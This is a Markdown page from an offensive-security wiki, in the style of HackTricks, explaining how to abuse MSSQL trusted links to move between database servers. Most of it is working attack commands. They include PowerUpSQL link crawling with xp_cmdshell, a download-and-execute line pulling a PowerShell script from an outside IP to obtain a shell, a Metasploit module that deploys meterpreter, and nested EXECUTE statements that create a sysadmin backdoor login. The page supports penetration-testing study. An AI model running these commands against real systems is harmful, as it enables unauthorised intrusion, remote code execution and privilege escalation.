112 lines
4.8 KiB
Markdown
112 lines
4.8 KiB
Markdown
# MSSQL Trusted Links
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## MSSQL Trusted Links
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If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host \(if running as SA\).
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Also, if a MSSQL instance is trusted \(database link\) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
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**The links between databases work even across forest trusts.**
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### **Powershell**
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```bash
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Import-Module .\PowerupSQL.psd1
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#Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#If you don't have a AD account, you can try to find MSSQL scanning via UDP
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#First, you will need a list of hosts to scan
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Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
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#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
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#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
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Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
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## FROM INSIDE OF THE DOMAIN
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#Get info about valid MSQL instances running in domain
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#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
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Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
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#Test connections with each one
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
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#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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#Dump an instance (a lotof CVSs generated in current dir)
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Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
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#Look for MSSQL links of an accessible instance
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Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
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#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
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#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
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#Obtain a shell
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Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
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#Check for possible vulnerabilities on an instance where you have access
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Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
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#Try to escalate privileges on an instance
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Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
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```
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### Metasploit
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You can easily check for trusted links using metasploit.
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```bash
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#Set username, password, windows auth (if using AD), IP...
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
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```
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Notice that metasploit will try to abuse only the `openquery()` function in MSSQL \(so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.\)
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### Manual - Openquery\(\)
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From Linux you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py** and run queries like:
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```bash
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select * from openquery("DOMINIO\SERVER1",'select * from openquery("DOMINIO\SERVER2",''select * from master..sysservers'')')
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```
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From Windows you could also find the links and execute commands manually using a MSSQL client like [HeidiSQL](https://www.heidisql.com/)
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_Login using Windows authentication:_
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_Find links inside the accessible MSSQL server \(in this case the link is to dcorp-sql1\):_
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`select * from master..sysservers`
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Execute queries through the link \(example: find more links in the new accessible instance\):
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`select * from openquery("dcorp-sql1", 'select * from master..sysservers')`
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You can continue these trusted links chain forever manually.
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Some times you won't be able to perform actions like `exec xp_cmdshell` from `openquery()` in those cases it might be worth it to test the following method:
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### Manual - EXECUTE
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You can also abuse trusted links using EXECUTE:
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```bash
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#Create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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